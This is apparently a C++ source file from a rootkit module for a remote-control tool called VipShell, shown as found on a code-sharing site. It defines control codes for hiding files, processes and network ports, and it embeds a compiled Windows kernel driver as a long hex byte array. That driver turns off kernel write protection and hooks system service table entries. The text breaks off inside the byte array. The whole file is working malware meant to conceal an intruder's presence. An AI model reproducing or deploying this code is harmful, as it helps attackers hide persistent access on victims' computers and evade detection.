www.pudn.com > VipShell-rootkit-module.rar > RootKitModule.cpp
#include#include #include ".\RootKitModule.h" #include ADD_PINBOARD(RootKitModule) BEGIN_DLLCREATEPINBOARDINSTANCE ADD_DLL_PINBOARD_SUSTAIN(RootKitModule) END_DLLCREATEPINBOARDINSTANCE #define DEVICE_FILTER_INDEX 0x860 #define ZFJ_ROOTKIT_ADDHIDEFILE CTL_CODE(FILE_DEVICE_UNKNOWN,DEVICE_FILTER_INDEX+2,METHOD_BUFFERED,FILE_ANY_ACCESS) #define ZFJ_ROOTKIT_DELHIDEFILE CTL_CODE(FILE_DEVICE_UNKNOWN,DEVICE_FILTER_INDEX+3,METHOD_BUFFERED,FILE_ANY_ACCESS) #define ZFJ_ROOTKIT_STARTHIDEFILE CTL_CODE(FILE_DEVICE_UNKNOWN,DEVICE_FILTER_INDEX+4,METHOD_BUFFERED,FILE_ANY_ACCESS) #define ZFJ_ROOTKIT_ADDHIDEPROCESS CTL_CODE(FILE_DEVICE_UNKNOWN,DEVICE_FILTER_INDEX+5,METHOD_BUFFERED,FILE_ANY_ACCESS) #define ZFJ_ROOTKIT_DELHIDEPROCESS CTL_CODE(FILE_DEVICE_UNKNOWN,DEVICE_FILTER_INDEX+6,METHOD_BUFFERED,FILE_ANY_ACCESS) #define ZFJ_ROOTKIT_STARTHIDEPROCESS CTL_CODE(FILE_DEVICE_UNKNOWN,DEVICE_FILTER_INDEX+7,METHOD_BUFFERED,FILE_ANY_ACCESS) #define ZFJ_ROOTKIT_ADDHIDEPORT CTL_CODE(FILE_DEVICE_UNKNOWN,DEVICE_FILTER_INDEX+8,METHOD_BUFFERED,FILE_ANY_ACCESS) #define ZFJ_ROOTKIT_DELHIDEPORT CTL_CODE(FILE_DEVICE_UNKNOWN,DEVICE_FILTER_INDEX+9,METHOD_BUFFERED,FILE_ANY_ACCESS) #define ZFJ_ROOTKIT_STARTHIDEPORT CTL_CODE(FILE_DEVICE_UNKNOWN,DEVICE_FILTER_INDEX+10,METHOD_BUFFERED,FILE_ANY_ACCESS) #define MY_DEVICE_NAME "\\\\.\\ZFJ_ROOTKIT" char g_szRootKitModule[] = "\x4d\x5a\x90\x00\x03\x00\x00\x00\x04\x00\x00\x00\xff\xff\x00\x00" "\xb8\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xd8\x00\x00\x00" "\x0e\x1f\xba\x0e\x00\xb4\x09\xcd\x21\xb8\x01\x4c\xcd\x21\x54\x68" "\x69\x73\x20\x70\x72\x6f\x67\x72\x61\x6d\x20\x63\x61\x6e\x6e\x6f" "\x74\x20\x62\x65\x20\x72\x75\x6e\x20\x69\x6e\x20\x44\x4f\x53\x20" "\x6d\x6f\x64\x65\x2e\x0d\x0d\x0a\x24\x00\x00\x00\x00\x00\x00\x00" "\x1d\x55\x06\xc0\x59\x34\x68\x93\x59\x34\x68\x93\x59\x34\x68\x93" "\x59\x34\x69\x93\x48\x34\x68\x93\xda\x3c\x35\x93\x5a\x34\x68\x93" "\xd7\x3c\x37\x93\x5b\x34\x68\x93\xd7\x3c\x08\x93\x5d\x34\x68\x93" "\xda\x3c\x32\x93\x58\x34\x68\x93\x52\x69\x63\x68\x59\x34\x68\x93" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x50\x45\x00\x00\x4c\x01\x05\x00" "\x08\x1c\x0c\x45\x00\x00\x00\x00\x00\x00\x00\x00\xe0\x00\x0e\x01" "\x0b\x01\x07\x0a\x00\x0e\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00" "\x00\x40\x00\x00\x00\x10\x00\x00\x00\x20\x00\x00\x00\x00\x01\x00" "\x00\x10\x00\x00\x00\x02\x00\x00\x05\x00\x02\x00\x05\x00\x02\x00" "\x05\x00\x02\x00\x00\x00\x00\x00\x00\x60\x00\x00\x00\x04\x00\x00" "\xcb\xbe\x00\x00\x01\x00\x00\x04\x00\x00\x04\x00\x00\x10\x00\x00" "\x00\x00\x10\x00\x00\x10\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x30\x40\x00\x00\x28\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x50\x00\x00\xc4\x00\x00\x00" "\x50\x20\x00\x00\x1c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x20\x00\x00\x44\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x2e\x74\x65\x78\x74\x00\x00\x00\x82\x09\x00\x00\x00\x10\x00\x00" "\x00\x0a\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x20\x00\x00\x68\x2e\x72\x64\x61\x74\x61\x00\x00" "\xbb\x00\x00\x00\x00\x20\x00\x00\x00\x02\x00\x00\x00\x0e\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x48" "\x2e\x64\x61\x74\x61\x00\x00\x00\x64\x0a\x00\x00\x00\x30\x00\x00" "\x00\x02\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x40\x00\x00\xc8\x49\x4e\x49\x54\x00\x00\x00\x00" "\x10\x02\x00\x00\x00\x40\x00\x00\x00\x04\x00\x00\x00\x12\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\x00\x00\xe2" "\x2e\x72\x65\x6c\x6f\x63\x00\x00\xfa\x00\x00\x00\x00\x50\x00\x00" "\x00\x02\x00\x00\x00\x16\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x40\x00\x00\x42\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x56\x8b\x74\x24\x0c\x8b\x46\x60\x8b\x40\x0c\x8b\x56\x0c\x57\xb9" "\x98\x21\x22\x00\x33\xff\x3b\xc1\x77\x46\x74\x3b\x2d\x80\x21\x22" "\x00\x74\x78\x83\xe8\x08\x74\x27\x83\xe8\x04\x74\x1a\x83\xe8\x04" "\x74\x0e\x83\xe8\x04\x75\x3f\xff\x32\xe8\x54\x06\x00\x00\xeb\x5b" "\xe8\x89\x03\x00\x00\xeb\x54\x52\xe8\x31\x04\x00\x00\xeb\x4c\x52" "\xe8\x8f\x04\x00\x00\xeb\x44\xff\x32\xe8\x0c\x06\x00\x00\xeb\x3b" "\x2d\x9c\x21\x22\x00\x74\x2f\x83\xe8\x04\x74\x21\x83\xe8\x04\x74" "\x13\x83\xe8\x04\x74\x07\xbf\x10\x00\x00\xc0\xeb\x1e\xe8\x64\x08" "\x00\x00\xeb\x17\xff\x32\xe8\x0b\x08\x00\x00\xeb\x0e\xff\x32\xe8" "\x2a\x08\x00\x00\xeb\x05\xe8\x23\x05\x00\x00\x32\xd2\x8b\xce\x89" "\x7e\x18\xff\x15\x00\x20\x01\x00\x8b\xc7\x5f\x5e\xc2\x08\x00\xcc" "\x8b\x4c\x24\x08\x83\x61\x18\x00\x32\xd2\xff\x15\x00\x20\x01\x00" "\x33\xc0\xc2\x08\x00\xcc\x5c\x00\x44\x00\x6f\x00\x73\x00\x44\x00" "\x65\x00\x76\x00\x69\x00\x63\x00\x65\x00\x73\x00\x5c\x00\x5a\x00" "\x46\x00\x4a\x00\x5f\x00\x52\x00\x4f\x00\x4f\x00\x54\x00\x4b\x00" "\x49\x00\x54\x00\x00\x00\x55\x8b\xec\x51\x51\x66\x83\x65\xf8\x00" "\x57\x33\xc0\x8d\x7d\xfa\xab\x66\xab\xe8\x14\x03\x00\x00\xe8\xff" "\x04\x00\x00\xe8\x22\x08\x00\x00\x68\xc6\x10\x01\x00\x8d\x45\xf8" "\x50\xff\x15\x0c\x20\x01\x00\x83\x7d\xfc\x00\x5f\x74\x0a\x8d\x45" "\xf8\x50\xff\x15\x08\x20\x01\x00\x8b\x45\x08\x85\xc0\x74\x17\x56" "\x8b\x70\x04\xeb\x0c\x8b\xc6\x8b\x76\x0c\x50\xff\x15\x04\x20\x01" "\x00\x85\xf6\x75\xf0\x5e\xc9\xc2\x04\x00\x5c\x00\x44\x00\x65\x00" "\x76\x00\x69\x00\x63\x00\x65\x00\x5c\x00\x5a\x00\x46\x00\x4a\x00" "\x5f\x00\x52\x00\x4f\x00\x4f\x00\x54\x00\x4b\x00\x49\x00\x54\x00" "\x00\x00\x5c\x00\x44\x00\x6f\x00\x73\x00\x44\x00\x65\x00\x76\x00" "\x69\x00\x63\x00\x65\x00\x73\x00\x5c\x00\x5a\x00\x46\x00\x4a\x00" "\x5f\x00\x52\x00\x4f\x00\x4f\x00\x54\x00\x4b\x00\x49\x00\x54\x00" "\x00\x00\x55\x8b\xec\x83\xec\x14\x53\x56\x57\x33\xc0\x33\xdb\x66" "\x89\x5d\xf4\x8d\x7d\xf6\xab\x66\xab\x33\xc0\x66\x89\x5d\xec\x8d" "\x7d\xee\xab\x66\xab\x8b\x3d\x0c\x20\x01\x00\x68\x5a\x11\x01\x00" "\x8d\x45\xf4\x50\x89\x5d\xfc\xff\xd7\x8b\x75\x08\x8d\x45\xfc\x50" "\x53\x53\x6a\x22\x8d\x45\xf4\x50\x53\x56\xff\x15\x14\x20\x01\x00" "\x3b\xc3\x7c\x5f\xe8\x61\x02\x00\x00\xe8\x4c\x04\x00\x00\xe8\x73" "\x06\x00\x00\x68\x82\x11\x01\x00\x8d\x45\xec\x50\xff\xd7\x8d\x45" "\xf4\x50\x8d\x45\xec\x50\xff\x15\x10\x20\x01\x00\x8b\xf8\x3b\xfb" "\x7d\x10\x39\x5d\xfc\x74\x2a\xff\x75\xfc\xff\x15\x04\x20\x01\x00" "\xeb\x1f\xb8\xb0\x10\x01\x00\x89\x46\x38\x89\x46\x40\x89\x46\x44" "\x89\x46\x48\xc7\x46\x70\x00\x10\x01\x00\xc7\x46\x34\xf6\x10\x01" "\x00\x8b\xc7\x5f\x5e\x5b\xc9\xc2\x08\x00\x00\xcc\x55\x8b\xec\x83" "\xec\x18\x53\x8b\x5d\x1c\x56\xff\x75\x30\xff\x75\x2c\xff\x75\x28" "\xff\x75\x24\xff\x75\x20\x53\xff\x75\x18\xff\x75\x14\xff\x75\x10" "\xff\x75\x0c\xff\x75\x08\xff\x15\x08\x3a\x01\x00\x89\x45\x30\x68" "\x6a\x12\x01\x00\x8d\x45\xf8\x50\xff\x15\x28\x20\x01\x00\x33\xf6" "\x39\x75\x30\x0f\x8c\x0c\x01\x00\x00\x83\x7d\x24\x03\x0f\x85\x02" "\x01\x00\x00\x57\x0f\xb7\x4d\xf8\x8b\x7d\xfc\x8b\xd1\x33\xc0\xc1" "\xe9\x02\xf3\xab\x8b\xca\x83\xe1\x03\xf3\xaa\x33\xc0\x39\x03\x0f" "\x94\xc0\x89\x45\x24\x8d\x43\x5e\x50\x8d\x45\xf0\x50\xff\x15\x0c" "\x20\x01\x00\x8b\x3d\x24\x20\x01\x00\x6a\x01\x8d\x45\xf0\x50\x8d" "\x45\xf8\x50\xff\xd7\x6a\x01\x8d\x45\xf0\x50\x8d\x45\xe8\x50\xff" "\xd7\x8d\x45\xe8\x50\x8d\x45\xf8\x50\xff\x15\x20\x20\x01\x00\x8b" "\x43\x3c\x8b\x4d\xfc\xd1\xe8\xc6\x04\x08\x00\xbf\x08\x30\x01\x00" "\x8b\xc7\x8d\x50\x01\x8a\x08\x40\x84\xc9\x75\xf9\x2b\xc2\x89\x45" "\x2c\x74\x61\x8b\x43\x3c\xd1\xe8\x50\x57\xff\x75\xfc\xff\x15\x1c" "\x20\x01\x00\x8b\x4b\x3c\xd1\xe9\x3b\xc1\x74\x10\x81\xc7\x00\x01" "\x00\x00\x81\xff\x08\x3a\x01\x00\x7c\xc6\xeb\x38\x83\x7d\x24\x00" "\x74\x13\x3b\x5d\x1c\x75\x09\xc7\x45\x30\x06\x00\x00\x80\xeb\x24" "\x83\x26\x00\xeb\x1f\x8b\x03\x8b\x4d\x1c\x2b\xc8\x2b\xcb\x03\x4d" "\x20\x8d\x34\x18\x8b\xc1\xc1\xe9\x02\x8b\xfb\xf3\xa5\x8b\xc8\x83" "\xe1\x03\xf3\xa4\x8b\xf3\x03\x1b\x83\x7d\x24\x00\x0f\x84\x12\xff" "\xff\xff\x8b\x35\x18\x20\x01\x00\x8d\x45\xe8\x50\xff\xd6\x8d\x45" "\xf8\x50\xff\xd6\x5f\x8b\x45\x30\x5e\x5b\xc9\xc2\x2c\x00\x83\x3d" "\x08\x3a\x01\x00\x00\x74\x03\x33\xc0\xc3\x8b\x0d\x30\x20\x01\x00" "\x8b\x15\x2c\x20\x01\x00\x8b\x41\x01\x8b\x12\x8b\x04\x82\xa3\x08" "\x3a\x01\x00\xfa\x0f\x20\xc0\x25\xff\xff\xfe\xff\x0f\x22\xc0\x8b" "\x41\x01\x8b\x0d\x2c\x20\x01\x00\x8b\x09\xc7\x04\x81\x6c\x12\x01" "\x00\x0f\x20\xc0\x0d\x00\x00\x01\x00\x0f\x22\xc0\xfb\x33\xc0\x40" "\xc3\xcc\x83\x3d\x08\x3a\x01\x00\x00\x75\x03\x33\xc0\xc3\xfa\x0f" "\x20\xc0\x25\xff\xff\xfe\xff\x0f\x22\xc0\x8b\x0d\x2c\x20\x01\x00" "\xa1\x30\x20\x01\x00\x8b\x40\x01\x8b\x09\x8b\x15\x08\x3a\x01\x00" "\x89\x14\x81\x0f\x20\xc0\x0d\x00\x00\x01\x00\x0f\x22\xc0\xfb\x83" "\x25\x08\x3a\x01\x00\x00\x33\xc0\x40\xc3\x57\xb9\x80\x02\x00\x00" "\x33\xc0\xbf\x08\x30\x01\x00\xf3\xab\x5f\xc3\xcc\x00\xcc\x53\x56" "\x57\x33\xd2\xbf\x08\x30\x01\x00\x8b\x74\x24\x10\x8b\xc7\x8a\x18" "\x8a\xcb\x3a\x1e\x75\x1a\x84\xc9\x74\x12\x8a\x58\x01\x8a\xcb\x3a" "\x5e\x01\x75\x0c\x40\x40\x46\x46\x84\xc9\x75\xe2\x33\xc0\xeb\x05" "\x1b\xc0\x83\xd8\xff\x85\xc0\x74\x17\x81\xc7\x00\x01\x00\x00\x42" "\x81\xff\x08\x3a\x01\x00\x7c\xc0\x33\xc0\x5f\x5e\x5b\xc2\x04\x00" "\xa0\x7c\x14\x01\x00\xc1\xe2\x08\x88\x82\x08\x30\x01\x00\x33\xc0" "\x40\xeb\xe7\xcc\x55\x8b\xec\x51\x56\x57\x33\xc9\xbf\x08\x30\x01" "\x00\x8b\xc7\x8d\x70\x01\x8a\x10\x40\x84\xd2\x75\xf9\x2b\xc6\x89" "\x45\xfc\x74\x17\x81\xc7\x00\x01\x00\x00\x41\x81\xff\x08\x3a\x01" "\x00\x7c\xde\x33\xc0\x5f\x5e\xc9\xc2\x04\x00\x8b\x45\x08\xc1\xe1" "\x08\x8d\x91\x08\x30\x01\x00\x2b\xd0\x8a\x08\x88\x0c\x02\x40\x84" "\xc9\x75\xf6\x33\xc0\x40\xeb\xdd\x55\x8b\xec\x56\xff\x75\x14\x8b" "\x75\x0c\xff\x75\x10\x56\xff\x75\x08\xff\x15\x34\x3a\x01\x00\x85" "\xc0\x7c\x65\x83\x7d\x08\x05\x75\x5f\x8b\x16\x57\x33\xff\x85\xd2" "\x8b\xce\x74\x4f\x8d\x0c\x32\xeb\x4a\xbe\x0c\x3a\x01\x00\x8b\x16" "\x85\xd2\x74\x2d\x39\x51\x44\x75\x19\x85\xff\x74\x0d\x8b\x11\x85" "\xd2\x74\x04\x01\x17\xeb\x03\x83\x27\x00\x8b\x11\x85\xd2\x74\x0f" "\x03\xca\x83\xc6\x04\x81\xfe\x34\x3a\x01\x00\x7c\xd1\xeb\x02\x33" "\xc9\x85\xc9\x74\x12\x8b\x11\x85\xd2\x8b\xf9\x74\x04\x03\xca\xeb" "\x02\x33\xc9\x85\xc9\x75\xb2\x5f\x5e\x5d\xc2\x10\x00\xcc\x83\x3d" "\x34\x3a\x01\x00\x00\x74\x03\x33\xc0\xc3\x8b\x0d\x34\x20\x01\x00" "\x8b\x15\x2c\x20\x01\x00\x8b\x41\x01\x8b\x12\x8b\x04\x82\xa3\x34" "\x3a\x01\x00\xfa\x0f\x20\xc0\x25\xff\xff\xfe\xff\x0f\x22\xc0\x8b" "\x41\x01\x8b\x0d\x2c\x20\x01\x00\x8b\x09\xc7\x04\x81\x38\x15\x01" "\x00\x0f\x20\xc0\x0d\x00\x00\x01\x00\x0f\x22\xc0\xfb\x33\xc0\x40" "\xc3\xcc\x83\x3d\x34\x3a\x01\x00\x00\x75\x03\x33\xc0\xc3\xfa\x0f" "\x20\xc0\x25\xff\xff\xfe\xff\x0f\x22\xc0\x8b\x0d\x2c\x20\x01\x00" "\xa1\x34\x20\x01\x00\x8b\x40\x01\x8b\x09\x8b\x15\x34\x3a\x01\x00" "\x89\x14\x81\x0f\x20\xc0\x0d\x00\x00\x01\x00\x0f\x22\xc0\xfb\x83" "\x25\x34\x3a\x01\x00\x00\x33\xc0\x40\xc3\x57\x6a\x0a\x59\x33\xc0" "\xbf\x0c\x3a\x01\x00\xf3\xab\x5f\xc3\xcc\x33\xc0\x8b\x0c\x85\x0c" "\x3a\x01\x00\x3b\x4c\x24\x04\x74\x0b\x40\x83\xf8\x0a\x7c\xed\x33" "\xc0\xc2\x04\x00\x83\x24\x85\x0c\x3a\x01\x00\x00\x33\xc0\x40\xeb" "\xf0\xcc\x33\xc0\x83\x3c\x85\x0c\x3a\x01\x00\x00\x74\x0b\x40\x83" "\xf8\x0a\x7c\xf0\x33\xc0\xc2\x04\x00\x8b\x4c\x24\x04\x89\x0c\x85" "\x0c\x3a\x01\x00\x33\xc0\x40\xeb\xed\xcc\x55\x8b\xec\x83\xec\x24" "\x53\x8b\x5d\x28\x56\xff\x75\x2c\x8b\x75\x20\x53\xff\x75\x24\x56" "\xff\x75\x1c\xff\x75\x18\xff\x75\x14\xff\x75\x10\xff\x75\x0c\xff" "\x75\x08\xff\x15\x60\x3a\x01\x00\x81\x7d\x1c\x03\x00\x12\x00\x89" "\x45\x28\x0f\x85\x88\x01\x00\x00\x85\xc0\x57\x0f\x8c\x7e\x01\x00" "\x00\x83\x65\xe0\x00\x6a\x05\x59\x8d\x7d\xdc\x33\xd2\xc7\x45\xdc" "\x00\x04\x00\x00\xc7\x45\xe4\x00\x02\x00\x00\xc7\x45\xe8\x00\x01" "\x00\x00\xc7\x45\xec\x01\x01\x00\x00\xf3\xa7\x0f\x85\x98\x00\x00" "\x00\x8b\x45\x18\x8b\x40\x04\x6a\x14\x59\xf7\xf1\x83\x65\x1c\x00" "\x85\xc0\x7e\x7a\x8d\x48\xff\x89\x4d\x20\x8d\x4b\x14\x89\x4d\x2c" "\xbe\x38\x3a\x01\x00\x8b\x3e\x85\xff\x74\x54\x33\xc9\x8a\x6b\x08" "\x8a\x4b\x09\x3b\xcf\x74\x0d\x83\xc6\x04\x81\xfe\x60\x3a\x01\x00" "\x7c\xe3\xeb\x3b\x8b\x4d\x20\x39\x4d\x1c\x74\x2f\x8b\x75\x2c\x8b" "\xc8\x2b\x4d\x1c\x8b\xfb\x49\x8d\x0c\x89\xc1\xe1\x02\x8b\xd1\xc1" "\xe9\x02\xf3\xa5\x8b\xca\x83\xe1\x03\x48\xff\x4d\x20\xff\x4d\x1c" "\x83\xeb\x14\x83\x6d\x2c\x14\xf3\xa4\xeb\x04\x48\xff\x4d\x20\xff" "\x45\x1c\x83\x45\x2c\x14\x83\xc3\x14\x39\x45\x1c\x7c\x92\x8d\x04" "\x80\xc1\xe0\x02\xe9\xad\x00\x00\x00\x8b\x75\x20\x6a\x05\x59\x8d" "\x7d\xdc\x33\xd2\xc7\x45\xec\x02\x01\x00\x00\xf3\xa7\x0f\x85\x9c" "\x00\x00\x00\x8b\x45\x18\x8b\x40\x04\x6a\x18\x59\xf7\xf1\x83\x65" "\x1c\x00\x85\xc0\x7e\x7a\x8d\x48\xff\x89\x4d\x20\x8d\x4b\x18\x89" "\x4d\x2c\xbe\x38\x3a\x01\x00\x8b\x3e\x85\xff\x74\x54\x33\xc9\x8a" "\x6b\x08\x8a\x4b\x09\x3b\xcf\x74\x0d\x83\xc6\x04\x81\xfe\x60\x3a" "\x01\x00\x7c\xe3\xeb\x3b\x8b\x4d\x20\x39\x4d\x1c\x74\x2f\x8b\x75" "\x2c\x8b\xc8\x2b\x4d\x1c\x8b\xfb\x49\x8d\x0c\x49\xc1\xe1\x03\x8b" "\xd1\xc1\xe9\x02\xf3\xa5\x8b\xca\x83\xe1\x03\x48\xff\x4d\x20\xff" "\x4d\x1c\x83\xeb\x18\x83\x6d\x2c\x18\xf3\xa4\xeb\x04\x48\xff\x4d" "\x20\xff\x45\x1c\x83\x45\x2c\x18\x83\xc3\x18\x39\x45\x1c\x7c\x92" "\x8d\x04\x40\xc1\xe0\x03\x8b\x4d\x18\x89\x41\x04\x8b\x45\x28\x5f" "\x5e\x5b\xc9\xc2\x28\x00\x57\x6a\x0a\x59\x33\xc0\xbf\x38\x3a\x01" "\x00\xf3\xab\x5f\xc3\xcc\x33\xc0\x8b\x0c\x85\x38\x3a\x01\x00\x3b" "\x4c\x24\x04\x74\x0b\x40\x83\xf8\x0a\x7c\xed\x33\xc0\xc2\x04\x00" "\x83\x24\x85\x38\x3a\x01\x00\x00\x33\xc0\x40\xeb\xf0\xcc\x33\xc0" "\x83\x3c\x85\x38\x3a\x01\x00\x00\x74\x0b\x40\x83\xf8\x0a\x7c\xf0" "\x33\xc0\xc2\x04\x00\x8b\x4c\x24\x04\x89\x0c\x85\x38\x3a\x01\x00" "\x33\xc0\x40\xeb\xed\xcc\x83\x3d\x60\x3a\x01\x00\x00\x74\x03\x33" "\xc0\xc3\x8b\x0d\x38\x20\x01\x00\x8b\x15\x2c\x20\x01\x00\x8b\x41" "\x01\x8b\x12\x8b\x04\x82\xa3\x60\x3a\x01\x00\xfa\x0f\x20\xc0\x25" "\xff\xff\xfe\xff\x0f\x22\xc0\x8b\x41\x01\x8b\x0d\x2c\x20\x01\x00" "\x8b\x09\xc7\x04\x81\xba\x16\x01\x00\x0f\x20\xc0\x0d\x00\x00\x01" "\x00\x0f\x22\xc0\xfb\x33\xc0\x40\xc3\xcc\x83\x3d\x60\x3a\x01\x00" "\x00\x75\x03\x33\xc0\xc3\xfa\x0f\x20\xc0\x25\xff\xff\xfe\xff\x0f" "\x22\xc0\x8b\x0d\x2c\x20\x01\x00\xa1\x38\x20\x01\x00\x8b\x40\x01" "\x8b\x09\x8b\x15\x60\x3a\x01\x00\x89\x14\x81\x0f\x20\xc0\x0d\x00" "\x00\x01\x00\x0f\x22\xc0\xfb\x83\x25\x60\x3a\x01\x00\x00\x33\xc0" "\x40\xc3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x9c\x40\x00\x00\xb2\x40\x00\x00\xc4\x40\x00\x00\xdc\x40\x00\x00" "\xf4\x40\x00\x00\x0c\x41\x00\x00\x1e\x41\x00\x00\x32\x41\x00\x00" "\x46\x41\x00\x00\x58\x41\x00\x00\x78\x41\x00\x00\x8c\x41\x00\x00" "\xa8\x41\x00\x00\xc0\x41\x00\x00\xdc\x41\x00\x00\xf4\x41\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x08\x1c\x0c\x45\x00\x00\x00\x00\x02\x00\x00\x00" "\x4f\x00\x00\x00\x6c\x20\x00\x00\x6c\x0e\x00\x00\x52\x53\x44\x53" "\x18\xdc\xdd\xe4\x21\x5b\x6e\x46\xa0\xa1\xff\x50\x1b\x09\xb7\x9c" "\x01\x00\x00\x00\x65\x3a\x5c\x64\x64\x6b\x77\x6f\x72\x6b\x5c\x64" "\x72\x69\x76\x65\x72\x31\x5c\x6f\x62\x6a\x66\x72\x65\x5f\x77\x6e" "\x65\x74\x5f\x78\x38\x36\x5c\x69\x33\x38\x36\x5c\x48\x65\x6c\x6c" "\x6f\x57\x6f\x72\x6c\x64\x2e\x70\x64\x62\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" 